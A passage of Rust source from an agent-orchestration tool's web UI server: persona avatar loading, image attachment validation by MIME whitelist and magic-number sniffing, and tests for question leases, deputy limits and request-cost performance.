9872            .as_deref()
9873            .map(str::trim)
9874            .filter(|p| !p.is_empty())
9875            .unwrap_or(&talk.persona)
9876            .to_owned();
9877        let specs = match Config::discover(&talk.repo, None) {
9878            Ok((cfg, _)) => cfg.talk.personas,
9879            Err(e) => {
9880                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9881                Vec::new()
9882            }
9883        };
9884        let found = persona::find(&specs, &wanted);
9885        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
9886        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9887        let icon = effective_persona_icon(
9888            &ui.home,
9889            &wanted,
9890            found.as_ref().and_then(|p| p.icon.as_deref()),
9891        );
9892        if found.is_none() && icon.is_none() {
9893            return Ok(builtin_avatar(persona::DEFAULT_ID));
9894        }
9895        let Some(icon) = icon
9896            .as_deref()
9897            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9898        else {
9899            return Ok(builtin_avatar(&wanted));
9900        };
9901        let Some(found) = found else {
9902            return Ok(raster_or_builtin(
9903                Some(icon),
9904                persona_icon::builtin_svg(&wanted),
9905            ));
9906        };
9907        match persona_icon::load(icon) {
9908            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9909                let mut res = attachment_response(mime, bytes);
9910                res.headers_mut().insert(
9911                    header::CACHE_CONTROL,
9912                    header::HeaderValue::from_static("no-cache"),
9913                );
9914                Ok(res)
9915            }
9916            Ok((mime, _)) => {
9917                tracing::warn!(
9918                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9919                    found.id
9920                );
9921                Ok(builtin_avatar(&found.id))
9922            }
9923            Err(e) => {
9924                tracing::warn!(
9925                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9926                    found.id
9927                );
9928                Ok(builtin_avatar(&found.id))
9929            }
9930        }
9931    })
9932    .await
9933}
9934
9935/// Validate an attachment upload's declared `Content-Type` and the bytes
9936/// themselves, returning the canonical mime on success.
9937///
9938/// Two checks, both required: the header has to name one of
9939/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
9940/// simply never in the list, active content rather than a picture, the same
9941/// exclusion [`asset_content_type`]'s doc explains), and the file's own
9942/// magic number has to agree. The second is what stops a mislabeled upload -
9943/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
9944/// a declared type is a claim, not a fact, so it is never trusted alone.
9945fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9946    if data.len() > ATTACHMENT_MAX_BYTES {
9947        return Err(ApiError::bad_request(format!(
9948            "attachment is {} bytes, over the {} MiB limit",
9949            data.len(),
9950            ATTACHMENT_MAX_BYTES / (1024 * 1024)
9951        ))
9952        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9953    }
9954    if data.is_empty() {
9955        return Err(ApiError::bad_request("attachment is empty"));
9956    }
9957    let declared = declared_mime(headers)?;
9958    match sniffed_mime(data) {
9959        Some(sniffed) if sniffed == declared => Ok(declared),
9960        Some(sniffed) => Err(ApiError::bad_request(format!(
9961            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9962        ))),
9963        None => Err(ApiError::bad_request(
9964            "the file's bytes do not match any accepted image format",
9965        )),
9966    }
9967}
9968
9969/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
9970/// and nothing else - parameters like `; charset=` are stripped, but the
9971/// value itself is not otherwise interpreted.
9972fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9973    let raw = headers
9974        .get(header::CONTENT_TYPE)
9975        .and_then(|v| v.to_str().ok())
9976        .unwrap_or("")
9977        .split(';')
9978        .next()
9979        .unwrap_or("")
9980        .trim()
9981        .to_ascii_lowercase();
9982    ATTACHMENT_MIME_WHITELIST
9983        .iter()
9984        .find(|&&m| m == raw)
9985        .copied()
9986        .ok_or_else(|| {
9987            if raw == "image/svg+xml" {
9988                ApiError::bad_request(
9989                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
9990                     not just a picture",
9991                )
9992            } else if raw.is_empty() {
9993                ApiError::bad_request("Content-Type is required for an attachment upload")
9994            } else {
9995                ApiError::bad_request(format!(
9996                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9997                     image/gif or image/webp"
9998                ))
9999            }
10000        })
10001}
10002
10003/// Identify an image by its magic number, independent of whatever
10004/// `Content-Type` claimed.
10005fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10006    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10007        Some("image/png")
10008    } else if data.starts_with(b"\xff\xd8\xff") {
10009        Some("image/jpeg")
10010    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10011        Some("image/gif")
10012    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10013        Some("image/webp")
10014    } else {
10015        None
10016    }
10017}
10018
10019/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10020/// display - see [`talk::Attachment::name`]'s doc on why it never
10021/// contributes to a path. A missing or blank header (curl without it, an
10022/// older front end) falls back to a generic name rather than refusing the
10023/// upload over a field that is cosmetic.
10024fn filename_header(headers: &HeaderMap) -> String {
10025    headers
10026        .get(FILENAME_HEADER)
10027        .and_then(|v| v.to_str().ok())
10028        .map(str::trim)
10029        .filter(|s| !s.is_empty())
10030        .unwrap_or("attachment")
10031        .to_owned()
10032}
10033
10034/// Every attachment `GET` response: the mime re-validated against the same
10035/// closed whitelist the upload route enforces - never the string trusted
10036/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10037/// cannot decide it knows better than the type we send. Unlike a panel asset
10038/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10039/// document renders inline, not agent-authored HTML in a sandboxed frame.
10040fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10041    let content_type = ATTACHMENT_MIME_WHITELIST
10042        .iter()
10043        .find(|&&m| m == mime)
10044        .copied()
10045        .unwrap_or("application/octet-stream");
10046    (
10047        [
10048            (header::CONTENT_TYPE, content_type),
10049            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10050        ],
10051        body,
10052    )
10053        .into_response()
10054}
10055
10056/// The configuration for a repository, read off the disk for this request.
10057///
10058/// Through [`blocking`] because discovery reads and merges several TOML files,
10059/// and because the alternative - caching it in [`Ui`] at startup - would mean
10060/// the operator's phone kept interviewing with a roster they had already
10061/// changed, with no way to reload it but restarting the server they are not
10062/// sitting in front of.
10063async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10064    let repo = repo.to_path_buf();
10065    blocking(move || {
10066        let (cfg, _) = Config::discover(&repo, None)?;
10067        Ok(cfg)
10068    })
10069    .await
10070}
10071
10072/// The one prefix rule, used for both runs and tasks: a leading match for a
10073/// full id, a trailing match for the short form an operator reads off a
10074/// report. Written here rather than borrowed from `queue::resolve_id` because
10075/// the UI needs the two failures as different status codes, and telling them
10076/// apart from an error message is not something to build a route on.
10077fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10078    let mut hits = ids
10079        .into_iter()
10080        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10081    match (hits.next(), hits.next()) {
10082        (Some(one), None) => Ok(one),
10083        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10084        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10085            "`{prefix}` matches more than one {what}, including {a} and {b}"
10086        ))),
10087    }
10088}
10089
10090#[cfg(test)]
10091mod tests {
10092
10093    #[test]
10094    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10095        let dir = tempfile::tempdir().unwrap();
10096        let store = ask::Questions::at(dir.path().join("questions"));
10097        let mut q = Question::new(
10098            "task".to_owned(),
10099            "conduct".to_owned(),
10100            "conduct".to_owned(),
10101            "choose".to_owned(),
10102            String::new(),
10103            vec!["keep".to_owned()],
10104        );
10105        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10106        q.say("why?").unwrap();
10107        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10108        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10109        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10110        store.put(&mut q).unwrap();
10111        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10112        assert_eq!(store.count_needs_owner(), 1);
10113        store.beat(&q.id, ask::WaiterKind::Deputy);
10114        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10115        assert_eq!(store.count_needs_owner(), 0);
10116        let mut stale = store.read_lease(&q.id).unwrap();
10117        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10118        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10119        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10120        assert!(view.deputy_exhausted);
10121        assert!(view.waiting_on_agent);
10122        assert_eq!(view.question.choices, ["keep"]);
10123        store.drop_lease(&q.id);
10124        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10125        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10126    }
10127
10128    #[test]
10129    fn holder_reads_the_lease_not_the_record() {
10130        let mut q = Question::new(
10131            "run".to_owned(),
10132            "implement".to_owned(),
10133            "impl-A".to_owned(),
10134            "which?".to_owned(),
10135            String::new(),
10136            Vec::new(),
10137        );
10138        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10139        q.cwd = Some("/tmp".to_owned());
10140        assert_eq!(holder_of(&q, None), Some("nobody"));
10141        let beat = |kind, ago: i64| ask::Lease {
10142            kind,
10143            pid: 1,
10144            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10145                .unwrap(),
10146        };
10147        let fresh = beat(ask::WaiterKind::Asker, 1);
10148        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10149        let daemon = beat(ask::WaiterKind::Daemon, 1);
10150        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10151        let stale = beat(ask::WaiterKind::Asker, 3600);
10152        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10153
10154        // A conductor question says "deputy" only while one is attached and
10155        // alive, and "nobody" - never silence - when nothing ever listened.
10156        let mut c = Question::new(
10157            "task".to_owned(),
10158            crate::conduct::NODE.to_owned(),
10159            "conduct".to_owned(),
10160            "which?".to_owned(),
10161            String::new(),
10162            Vec::new(),
10163        );
10164        assert_eq!(holder_of(&c, None), Some("nobody"));
10165        c.cwd = Some("/tmp".to_owned());
10166        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10167        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10168        let deputy = beat(ask::WaiterKind::Deputy, 1);
10169        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10170        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10171
10172        // A release-watch question: nobody until a deputy is attached.
10173        let mut r = Question::new(
10174            String::new(),
10175            crate::bump::NOTICE_NODE.to_owned(),
10176            "release-watch".to_owned(),
10177            "stuck?".to_owned(),
10178            String::new(),
10179            vec!["hold".to_owned()],
10180        );
10181        assert_eq!(holder_of(&r, None), Some("nobody"));
10182        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10183        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10184        // A choice-less bump notice is nobody's question at all.
10185        r.deputy = None;
10186        r.seat = "bump".to_owned();
10187        assert_eq!(holder_of(&r, None), None);
10188
10189        // A merge approval is the same: nobody until a deputy is attached
10190        // and alive, never a silent "no holder".
10191        let mut m = Question::new(
10192            "run".to_owned(),
10193            crate::land::APPROVAL_NODE.to_owned(),
10194            "land".to_owned(),
10195            "merge?".to_owned(),
10196            String::new(),
10197            Vec::new(),
10198        );
10199        assert_eq!(holder_of(&m, None), Some("nobody"));
10200        assert_eq!(
10201            holder_of(&m, Some(&fresh)),
10202            Some("asker"),
10203            "a live explicit wait is a listener even before a deputy is attached"
10204        );
10205        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10206        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10207        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10208        assert_eq!(holder_of(&m, None), Some("nobody"));
10209    }
10210
10211    fn stub_config() -> Config {
10212        // An explicit roster, so the result never depends on which agent CLIs
10213        // this machine has installed.
10214        Config {
10215            agents: vec![crate::config::AgentSpec {
10216                id: "stub".to_owned(),
10217                kind: AgentKind::Command,
10218                model: None,
10219                command: vec!["true".to_owned()],
10220                extra_args: Vec::new(),
10221                env: Default::default(),
10222                prompt_delivery: None,
10223                max_turn_secs: None,
10224            }],
10225            ..Config::default()
10226        }
10227    }
10228
10229    fn plain_question(seat: &str) -> Question {
10230        Question::new(
10231            String::new(),
10232            "n".to_owned(),
10233            seat.to_owned(),
10234            "s".to_owned(),
10235            String::new(),
10236            Vec::new(),
10237        )
10238    }
10239
10240    #[test]
10241    fn deputies_enabled_follows_the_config() {
10242        let on = stub_config();
10243        assert!(crate::deputy::can_start(Some(&on), ""));
10244        assert!(crate::deputy::can_start(Some(&on), "stub"));
10245        let mut off = on.clone();
10246        off.daemon.max_deputies = 0;
10247        assert!(!crate::deputy::can_start(Some(&off), ""));
10248        let mut empty = on;
10249        empty.agents.clear();
10250        assert!(!crate::deputy::can_start(Some(&empty), ""));
10251        assert!(!crate::deputy::can_start(None, ""));
10252    }
10253
10254    #[test]
10255    fn question_views_load_the_config_once() {
10256        let dir = TempDir::new().unwrap();
10257        let store = ask::Questions::at(dir.path().to_path_buf());
10258        let mut with_deputy = plain_question("b");
10259        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10260        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10261
10262        let calls = std::cell::Cell::new(0usize);
10263        let views = question_views(qs.clone(), &store, || {
10264            calls.set(calls.get() + 1);
10265            Some(stub_config())
10266        });
10267        assert_eq!(calls.get(), 1);
10268        assert_eq!(views.len(), 3);
10269        for (v, q) in views.iter().zip(&qs) {
10270            assert_eq!(
10271                v.deputies_enabled,
10272                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10273            );
10274        }
10275
10276        let views = question_views(qs, &store, || None);
10277        assert!(views.iter().all(|v| !v.deputies_enabled));
10278
10279        let calls = std::cell::Cell::new(0usize);
10280        let views = question_views(Vec::new(), &store, || {
10281            calls.set(calls.get() + 1);
10282            None
10283        });
10284        assert!(views.is_empty());
10285        assert_eq!(calls.get(), 0);
10286    }
10287
10288    use pretty_assertions::assert_eq;
10289    use serde_json::Value;
10290    use tempfile::TempDir;
10291    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10292
10293    use super::*;
10294    use crate::config::Config;
10295    use crate::queue::Source;
10296
10297    /// How many 10ms steps a settle loop takes before it calls a stall a
10298    /// stall - thirty seconds.
10299    ///
10300    /// These loops wait on real `sh` subprocesses, and the machine that runs
10301    /// the gate runs several suites at once, so a two-second budget was not
10302    /// waiting for the reply, it was racing the scheduler: two of these
10303    /// tests failed under that load with the turn simply not landed yet.
10304    /// This is a hang guard, not a latency assertion - every loop breaks the
10305    /// moment its condition holds, so a generous cap costs an idle machine
10306    /// nothing and still fails a genuine hang instead of hanging the suite.
10307    const SETTLE_STEPS: usize = 3_000;
10308
10309    /// A home with a queue and a runs directory, and a router serving it on
10310    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10311    /// dependency, not ours - so the tests drive a real socket, which has the
10312    /// side benefit of asserting the status line and content types the phone
10313    /// actually receives.
10314    struct Fixture {
10315        home: TempDir,
10316        addr: SocketAddr,
10317    }
10318
10319    impl Fixture {
10320        async fn start() -> Self {
10321            Self::with_loop(launch_idle).await
10322        }
10323
10324        /// A fixture whose loop is `launch`.
10325        async fn with_loop(launch: Launch) -> Self {
10326            let home = TempDir::new().expect("temp home");
10327            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10328            Self { home, addr }
10329        }
10330
10331        /// A fixture whose `ui.repo` is a real directory rather than the
10332        /// usual placeholder - for the routes that read config off it
10333        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10334        async fn with_repo(repo: PathBuf) -> Self {
10335            let home = TempDir::new().expect("temp home");
10336            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10337            Self { home, addr }
10338        }
10339
10340        /// As [`Fixture::with_repo`], with the machine-config file the
10341        /// settings screen reads and writes.
10342        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10343            let home = TempDir::new().expect("temp home");
10344            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10345            Self { home, addr }
10346        }
10347
10348        async fn serve(
10349            home: &FsPath,
10350            repo: PathBuf,
10351            launch: Launch,
10352            machine: Option<PathBuf>,
10353        ) -> SocketAddr {
10354            let queue = Queue::at(home.join("queue"));
10355            let runs = home.join("runs");
10356            std::fs::create_dir_all(&runs).expect("runs dir");
10357            let worktrees = home.join("wt").join("magi");
10358            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10359            let ui = Ui::new(
10360                queue,
10361                Questions::at(home.join("questions")),
10362                Talks::at(home.join("talks")),
10363                runs,
10364                home.to_path_buf(),
10365                repo,
10366            )
10367            .with_worktrees_root(worktrees)
10368            .with_machine_config(machine)
10369            .with_launch(launch);
10370            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10371                .await
10372                .expect("bind loopback");
10373            let addr = listener.local_addr().expect("local addr");
10374            tokio::spawn(async move {
10375                let router = ui
10376                    .router()
10377                    .layer(axum::middleware::from_fn(request_cost::observe));
10378                let _ = axum::serve(listener, router).await;
10379            });
10380            addr
10381        }
10382
10383        fn queue(&self) -> Queue {
10384            Queue::at(self.home.path().join("queue"))
10385        }
10386
10387        fn questions(&self) -> Questions {
10388            Questions::at(self.home.path().join("questions"))
10389        }
10390
10391        fn talks(&self) -> Talks {
10392            Talks::at(self.home.path().join("talks"))
10393        }
10394
10395        fn runs(&self) -> PathBuf {
10396            self.home.path().join("runs")
10397        }
10398
10399        async fn get(&self, path: &str) -> Res {
10400            request(self.addr, "GET", path, None).await
10401        }
10402
10403        /// The status and headers without the body, which is how the front end
10404        /// preflights a panel: a sandboxed frame is opaque to the parent
10405        /// document, so the only way to tell "no panel" from "a panel that
10406        /// rendered blank" is to ask before mounting.
10407        async fn head(&self, path: &str) -> Res {
10408            request(self.addr, "HEAD", path, None).await
10409        }
10410
10411        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10412            request(self.addr, "POST", path, body).await
10413        }
10414
10415        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10416            request_with(self.addr, "GET", path, None, extra).await
10417        }
10418
10419        async fn delete(&self, path: &str) -> Res {
10420            request(self.addr, "DELETE", path, None).await
10421        }
10422
10423        async fn put(&self, path: &str, body: &str) -> Res {
10424            request(self.addr, "PUT", path, Some(body)).await
10425        }
10426
10427        /// `POST` a raw body with its own headers - see [`request_bytes`].
10428        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10429            request_bytes(self.addr, path, headers, body).await
10430        }
10431    }
10432
10433    /// Real tracking refs exercise the successful discovery path (including
10434    /// extraction), rather than counting cheap failures on a placeholder repo.
10435    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10436        let tmp = TempDir::new().unwrap();
10437        let mut repos = Vec::new();
10438        for name in ["one", "two"] {
10439            let repo = tmp.path().join(name);
10440            let origin = tmp.path().join(format!("{name}.git"));
10441            std::fs::create_dir_all(&repo).unwrap();
10442            crate::git::git(&repo, &["init", "-b", "main"])
10443                .await
10444                .unwrap();
10445            std::fs::write(
10446                repo.join("magi.toml"),
10447                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10448            )
10449            .unwrap();
10450            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10451            crate::git::git(
10452                &repo,
10453                &[
10454                    "-c",
10455                    "user.name=fixture",
10456                    "-c",
10457                    "user.email=fixture@example.invalid",
10458                    "commit",
10459                    "-m",
10460                    "fixture",
10461                ],
10462            )
10463            .await
10464            .unwrap();
10465            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10466                .await
10467                .unwrap();
10468            crate::git::git(
10469                &repo,
10470                &["remote", "add", "origin", origin.to_str().unwrap()],
10471            )
10472            .await
10473            .unwrap();
10474            crate::git::git(&repo, &["push", "origin", "main"])
10475                .await
10476                .unwrap();
10477            crate::git::git(
10478                &repo,
10479                &[
10480                    "symbolic-ref",
10481                    "refs/remotes/origin/HEAD",
10482                    "refs/remotes/origin/main",
10483                ],
10484            )
10485            .await
10486            .unwrap();
10487            let (cfg, _) = Config::discover(&repo, None).unwrap();
10488            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10489            repos.push(repo);
10490        }
10491        let repos: [PathBuf; 2] = repos.try_into().unwrap();
10492        (tmp, repos)
10493    }
10494
10495    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10496        let (tmp, repos) = performance_repositories().await;
10497        let machine = tmp.path().join("machine.toml");
10498        std::fs::write(&machine, "").unwrap();
10499        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10500        (tmp, repos, fx)
10501    }
10502
10503    fn seed_performance(
10504        fx: &Fixture,
10505        repos: &[PathBuf; 2],
10506        questions: usize,
10507        runs: usize,
10508        items: usize,
10509    ) {
10510        // Saving states directly never starts a run or changes MAGI_HOME.
10511        for i in fx.questions().list().len()..questions {
10512            let mut question = Question::new(
10513                "20261001-000000-0000".into(),
10514                "implement".into(),
10515                "impl-A".into(),
10516                format!("question {i}"),
10517                "context".into(),
10518                vec!["yes".into(), "no".into()],
10519            );
10520            question.id = format!("20261003-000000-{i:04x}");
10521            fx.questions().put(&mut question).unwrap();
10522        }
10523        for i in run_ids(&fx.runs()).len()..runs {
10524            write_run_repo(
10525                &fx.runs(),
10526                &format!("20261001-000000-{i:04x}"),
10527                RunStatus::Ready,
10528                repos[i % 2].to_str().unwrap(),
10529            );
10530        }
10531        for i in fx.talks().list().len()..items {
10532            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10533            let mut talk = fx.talks().get(&id).unwrap();
10534            talk.repo = repos[i % 2].clone();
10535            fx.talks().put(&mut talk).unwrap();
10536            let mut task = crate::queue::Task::new(
10537                format!("task {i}"),
10538                "instruction".into(),
10539                repos[i % 2].clone(),
10540                crate::queue::Source::Agent {
10541                    run: id,
10542                    node: crate::queue::CHAT_NODE.into(),
10543                },
10544            );
10545            task.id = format!("20261004-000000-{i:04x}");
10546            fx.queue().put(&mut task).unwrap();
10547            // Notices has a production retention cap; seed up to that cap.
10548            if i < crate::notices::CAP {
10549                Notices::at(fx.home.path().join("notifications"))
10550                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
10551                    .unwrap();
10552            }
10553        }
10554        assert_eq!(fx.questions().list().len(), questions);
10555        assert_eq!(run_ids(&fx.runs()).len(), runs);
10556        assert_eq!(fx.talks().list().len(), items);
10557        assert_eq!(fx.queue().list().len(), items);
10558        assert_eq!(
10559            Notices::at(fx.home.path().join("notifications"))
10560                .list()
10561                .len(),
10562            items.min(crate::notices::CAP)
10563        );
10564    }
10565
10566    fn request_counts(res: &Res) -> (usize, usize) {
10567        assert_eq!(res.status, 200, "{}", res.body);
10568        (
10569            res.header("x-test-discoveries").unwrap().parse().unwrap(),
10570            res.header("x-test-git").unwrap().parse().unwrap(),
10571        )
10572    }
10573
10574    #[tokio::test]
10575    async fn list_request_cost_is_independent_of_record_count() {
10576        let (_tmp, repos, fx) = performance_fixture().await;
10577        let mut previous = None;
10578        for n in [4, 60] {
10579            seed_performance(&fx, &repos, n, n, n);
10580            let mut costs = Vec::new();
10581            for (path, discoveries) in [
10582                ("/api/questions", 1),
10583                ("/api/talks", 2),
10584                ("/api/health", 1),
10585                ("/api/stats", 1),
10586            ] {
10587                // Equal cold extraction caches at both scales; this also
10588                // bounds first-request cost instead of only warmed requests.
10589                for repo in &repos {
10590                    let cache = repo.join(".git/magi/config");
10591                    if cache.exists() {
10592                        std::fs::remove_dir_all(cache).unwrap();
10593                    }
10594                }
10595                let cost = request_counts(&fx.get(path).await);
10596                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10597                assert_eq!(cost.0, discoveries, "{path}, N={n}");
10598                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10599                costs.push(cost);
10600            }
10601            if let Some(previous) = previous {
10602                assert_eq!(costs, previous);
10603            }
10604            previous = Some(costs);
10605        }
10606        // runs reads shared row inputs and probes process liveness; queue
10607        // builds one blocker inventory; notifications reads its own store.
10608        // None discovers configuration or spawns git per item.
10609    }
10610
10611    /// The same handler path without transport, so the deterministic cause
10612    /// can also be checked in environments that prohibit binding sockets.
10613    #[tokio::test]
10614    async fn list_handler_cost_without_transport() {
10615        let (_tmp, repos) = performance_repositories().await;
10616        let fx = Fixture {
10617            home: TempDir::new().unwrap(),
10618            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10619        };
10620        let ui = Arc::new(
10621            Ui::new(
10622                fx.queue(),
10623                fx.questions(),
10624                fx.talks(),
10625                fx.runs(),
10626                fx.home.path().to_path_buf(),
10627                repos[0].clone(),
10628            )
10629            .with_worktrees_root(fx.home.path().join("wt")),
10630        );
10631        let mut previous = None;
10632        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10633            seed_performance(&fx, &repos, n, runs, items);
10634            let mut costs = Vec::new();
10635            for endpoint in ["questions", "talks", "health", "stats"] {
10636                for repo in &repos {
10637                    let cache = repo.join(".git/magi/config");
10638                    if cache.exists() {
10639                        std::fs::remove_dir_all(cache).unwrap();
10640                    }
10641                }
10642                let (_, cost) = request_cost::measure(async {
10643                    match endpoint {
10644                        "questions" => {
10645                            let _ = questions_list(State(ui.clone())).await.unwrap();
10646                        }
10647                        "talks" => {
10648                            let _ = talks_list(
10649                                State(ui.clone()),
10650                                Query(ListQuery {
10651                                    limit: None,
10652                                    ids: None,
10653                                }),
10654                            )
10655                            .await
10656                            .unwrap();
10657                        }
10658                        "health" => {
10659                            let _ = health(State(ui.clone())).await.unwrap();
10660                        }
10661                        _ => {
10662                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10663                                .await
10664                                .unwrap();
10665                        }
10666                    }
10667                })
10668                .await;
10669                eprintln!("{endpoint} handler N={n}: {cost:?}");
10670                assert_eq!(
10671                    cost.0,
10672                    if endpoint == "talks" { 2 } else { 1 },
10673                    "{endpoint}"
10674                );
10675                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10676                costs.push(cost);
10677            }
10678            if let Some(previous) = previous {
10679                assert_eq!(costs, previous);
10680            }
10681            previous = Some(costs);
10682        }
10683    }
10684
10685    #[tokio::test]
10686    async fn list_request_cost_scopes_do_not_mix() {
10687        let (_tmp, repos, fx) = performance_fixture().await;
10688        seed_performance(&fx, &repos, 10, 0, 10);
10689        let (questions, talks, notices) = tokio::join!(
10690            fx.get("/api/questions"),
10691            fx.get("/api/talks"),
10692            fx.get("/api/notifications")
10693        );
10694        assert_eq!(request_counts(&questions).0, 1);
10695        assert_eq!(request_counts(&talks).0, 2);
10696        assert_eq!(request_counts(&notices), (0, 0));
10697    }
10698
10699    #[tokio::test]
10700    async fn list_endpoints_large_home_ceiling() {
10701        let (_tmp, repos, fx) = performance_fixture().await;
10702        seed_performance(&fx, &repos, 200, 300, 400);
10703        let mut failures = Vec::new();
10704        // app.js boot/change loads plus the initial dashboard, settings and
10705        // repo picker. SSE is a persistent stream, not a bounded GET.
10706        for path in [
10707            "/",
10708            "/app.js",
10709            "/app.css",
10710            "/api/questions",
10711            "/api/runs?limit=300",
10712            "/api/queue",
10713            "/api/talks",
10714            "/api/notifications",
10715            "/api/health",
10716            "/api/stats",
10717            "/api/loop",
10718            "/api/settings",
10719            "/api/repos",
10720        ] {
10721            let start = std::time::Instant::now();
10722            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10723            let elapsed = start.elapsed();
10724            eprintln!("{path}: {elapsed:?}");
10725            match result {
10726                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10727                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10728                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10729            }
10730        }
10731        assert!(failures.is_empty(), "{}", failures.join("\n"));
10732    }
10733
10734    struct Res {
10735        status: u16,
10736        headers: String,
10737        /// The header block with its original casing, for the assertions that
10738        /// compare a header *value* rather than looking for a name. Lowercasing
10739        /// a CSP would hide a directive spelled with a capital letter, and the
10740        /// whole point of that test is that the string is exactly right.
10741        head: String,
10742        body: String,
10743        /// The body before any UTF-8 handling, for the routes that serve
10744        /// something other than text. A panel asset is a PNG as often as not,
10745        /// and `from_utf8_lossy` would silently replace half of it.
10746        bytes: Vec<u8>,
10747    }
10748
10749    impl Res {
10750        fn json(&self) -> Value {
10751            serde_json::from_str(&self.body)
10752                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10753        }
10754
10755        /// One header's value verbatim, or `None` when it was not sent.
10756        fn header(&self, name: &str) -> Option<&str> {
10757            self.head.lines().find_map(|line| {
10758                let (key, value) = line.split_once(':')?;
10759                key.trim()
10760                    .eq_ignore_ascii_case(name)
10761                    .then(|| value.trim_start().trim_end_matches('\r'))
10762            })
